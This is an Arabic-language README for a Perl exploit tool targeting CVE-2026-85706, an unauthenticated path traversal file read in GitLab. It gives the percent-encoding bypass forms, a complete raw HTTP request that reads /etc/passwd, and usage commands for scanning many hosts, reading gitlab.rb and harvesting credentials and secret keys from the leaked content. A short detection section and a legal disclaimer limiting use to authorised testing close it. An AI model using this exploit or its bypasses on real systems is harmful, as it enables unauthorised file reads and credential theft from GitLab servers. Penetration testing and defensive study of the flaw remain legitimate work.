
Perl PoC يستغل CVE-2026-85706، وهو ثغرة اجتياز مسار في GitLab بدون مصادقة تتيح قراءة الملفات بشكل عشوائي، مع فحص جماعي وجمع بيانات الاعتماد.
لاختبار الاختراق المصرّح به وعمليات الفريق الأحمر فقط.
الاستخدام غير المصرّح به يُعدّ جريمة جنائية. راجع الإشعار القانوني.
CVE-2026-85706 هي ثغرة اجتياز مسار (path traversal) بتقييم CVSS 10.0 في إصدارات GitLab Community وEnterprise Editions، تتيح لمهاجم غير مُصادَق تمامًا قراءة ملفات عشوائية من نظام ملفات الخادم عبر طلب HTTP واحد. لا حاجة لبيانات اعتماد، ولا رمز، ولا تفاعل من المستخدم.
| الفرع | النطاق المعرّض للثغرة | تم الإصلاح في |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
يتكوّن مكدّس HTTP في GitLab من ثلاث طبقات:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
يعمل Workhorse كوسيط عكسي ذكي: بالنسبة لبعض نقاط نهاية "الرفع" (عمليات commit في المستودع، عمليات الملفات)، يقرأ أجسام الطلبات متعددة الأجزاء (multipart)، ويحفظ بيانات الملف على القرص، ويعيد كتابة الطلب قبل تمريره إلى Puma. والأهم أنه يُرفق ترويسة JWT (Gitlab-Workhorse-Api-Request) بكل طلب يمرّره. ثم يتحقق Rails من صحة هذا JWT (عبر require_gitlab_workhorse!) قبل تنفيذ أي منطق للمعالج.
الطبقة 1 — مطابقة مسار Workhorse:
يطابق Workhorse مسارات الطلبات باستخدام تعبير نمطي (regex) مُجمَّع يعمل على سلسلة البايتات الخام المُرمَّزة نسبيًا (percent-encoded). ولا يفكّ ترميز تسلسلات %XX قبل المطابقة.
الطبقة 2 — توجيه Puma/Rack:
يفكّ Puma ترميز تسلسلات %XX قبل أن يوجّه Grape الطلب. لذا فإن طلبًا إلى /repository/%63ommits يُفكّ ترميزه إلى /repository/commits ويُوجَّه إلى CommitsController.
الطبقة 3 — قراءة الملف قبل المصادقة:
بمجرد الوصول إلى معالج Rails (الذي يُبلَغ دون JWT الخاص بـ Workhorse لأن Workhorse لم يطابق الطلب أبدًا)، يقرأ المعالج params[:file][:path] من سلسلة الاستعلام ويستدعي:
File.open(params[:file][:path]) # ← happens BEFORE authentication
من خلال ترميز حرف واحد نسبيًا في مقطع مسار ثابت، يمرّ طلب المهاجم متجاوزًا Workhorse دون اكتشافه:
| المقطع | الأصلي | صيغة التجاوز | الحرف المُرمَّز |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (أي) | commits | commits/ | شرطة مائلة لاحقة |
| (أي) | commits | commits.json | لاحقة Grape |
بعد فتح الملف، يُسرَّب المحتوى عبر محلّل سلسلة الاستعلام في Rack:
Rack::Utils.parse_nested_query(File.read(path))
إذا احتوى الملف على % غير متبوع برقمين سداسيين عشريين صالحين (وهو أمر شائع في ملفات إعدادات Ruby وCI YAML والسجلات وغيرها)، فإن Rack يُطلق:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
يحتوي جسم استجابة 400 هذه على محتوى الملف الخام حتى البايت المُخالف بما في ذلك هو نفسه — مما يكشف محتويات الملف للمُتصل غير المُصادَق.
الملفات التي لا تحتوي على تسلسلات % قابلة للاستغلال (مثل /etc/passwd النظيف) تُعيد 401 أو خطأ في التحقق من المعاملات بعد القراءة: وهذا يعمل كـ أوراكل لوجود الملف (فالقراءة حدثت رغم ذلك قبل المصادقة).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| الوحدة | الحزمة | الدور |
|---|---|---|
LWP::UserAgent | libwww-perl | عميل HTTP (إلزامي) |
LWP::Protocol::https | libwww-perl | دعم HTTPS (إلزامي) |
URI::Escape | liburi-perl | ترميز سلسلة الاستعلام (إلزامي) |
Term::ANSIColor | libterm-ansicolor-perl | إخراج ملوّن (اختياري) |
JSON | libjson-perl | وضع إخراج JSON (اختياري) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| سريع (افتراضي) | كامل (--full) | |
|---|---|---|
| الطلبات | ≤9 (1 تحضيري + ≤4×2) | 27+ |
| الخروج المبكر | نعم — يتوقف عند أول فرق مؤكَّد | لا — يفحص جميع الصيغ الـ22 |
| معلومات الإصدار | لا | نعم |
| صيغ التجاوز | 4 تمثيلية من Files API | جميع الـ22 (Commits + Files API) |
| الأفضل لـ | الاستطلاع السريع، قوائم المضيفين الكبيرة | تقارير اختبار الاختراق، التحضير لـ --file/--scan |
خط أنابيب الفحص السريع:
GET /api/v4/version — إمكانية الوصول + تلميح GitLab/etc/hostname + canary فريدcanary → 'local file not present' ∧ hostname ≠ canary → مُعرَّض للثغرة (خروج فوري)خط أنابيب الفحص الكامل (--full):
--project-id وأوضاع الفحصيمكن استخدام علم --project-id في كل وضع، بما في ذلك --check و--check-host-list. فهم التفاعل:
| مجموعة التجاوز | الصيغ | الاعتماد على معرّف المشروع |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | لا يوجد — قراءة الملف تسبق التحقق من المشروع بحكم تصميم الثغرة. أي معرّف (حتى غير الموجود) يُنتج الإشارة الصحيحة. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | مطلوب — يجب أن يكون المشروع موجودًا وقابلًا للقراءة مجهولًا. يُعيد project-gate إن لم يكن كذلك. |
إرشادات عملية:
--check (سريع): يستخدم صيغ Files API فقط → معرّف المشروع غير ذي صلة.--check --full: يختبر جميع الصيغ الـ22. إذا كنت تعرف معرّف مشروع عام، مرّر --project-id <N> لتأكيد صيغ Commits API أيضًا.--check-host-list: نادرًا ما يُقابل --project-id واحد مشروعًا عامًا عبر جميع المضيفين. احذفه.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| الحكم | المعنى |
|---|---|
leak | محتوى الملف مُرتجَع في جسم الاستجابة عبر خطأ تحليل Rack |
leak-fragment | ارتجاع جزئي للمحتوى عبر جزء من اسم المعامل |
read-noecho | HTTP 401 على مسار التجاوز — غامض: إما أن قراءة الملف حدثت قبل المصادقة (مُعرَّض للثغرة، محتوى نظيف بلا تسلسل % سيئ)، أو أن المصادقة تُفعَّل قبل القراءة (خادم مُرقَّع). استخدم --check للتأكيد عبر الفرق التفاضلي |
missing | نجح مسار التجاوز؛ وُصل إلى المعالج؛ الملف غير موجود أو غير قابل للقراءة |
rewrite | اعترض Workhorse هذه الصيغة من المسار — فشل التجاوز |
project-gate | رفض Commits API المشروع؛ جرّب صيغ Files API |
noroute | لم يوجّه Rails هذا المتغيّر من المسار |
| الميزة | Python PoC | هذا Perl PoC |
|---|---|---|
| متغيّرات مسار التجاوز | 6 | 15 |
| فحص الملفات بالجملة (T1083) | ✗ | ✓ قائمة كلمات مدمجة بـ38 مسارًا |
| استخراج بيانات الاعتماد (T1552.001) | ✗ | ✓ 22 نمطًا لبيانات الاعتماد |
| إخراج JSON | ✗ | ✓ --json |
| إخراج إلى ملف / tee | ✗ | ✓ --output |
| رسائل أوراكل وجود الملف | أساسية | صريحة، مرمّزة بالألوان |
| منطق إعادة المحاولة | ✗ | ✓ --retries قابل للتهيئة |
| تأخير لكل طلب | ✗ | ✓ --delay (ثوانٍ عشرية) |
| User-Agent مخصص | ✗ | ✓ --user-agent |
| معرّفات namespace/project | ✗ | ✓ ترميز تلقائي لـ / → %2F |
| الوضع المطوّل | ✗ | ✓ --verbose |
secret_key_base وotp_key_base في gitlab.rb/home/git/.ssh/، /root/.ssh/)ابحث عن طلبات POST أو PUT إلى مسارات /api/v4/projects/*/repository/ التي تحتوي على:
%63، %43، %72، %70، %66، %46، إلخ)file.path.json على نقطتي نهاية commits أو filesتُقدَّم هذه الأداة حصرًا من أجل:
الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي صريح لاختبارها هو غير قانوني في كل الاختصاصات القضائية تقريبًا وقد يؤدي إلى الملاحقة الجنائية بموجب قوانين إساءة استخدام الحاسوب (CFAA، Computer Misuse Act، إلخ).
لا يتحمّل مؤلف هذه الأداة والمساهمون فيها أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.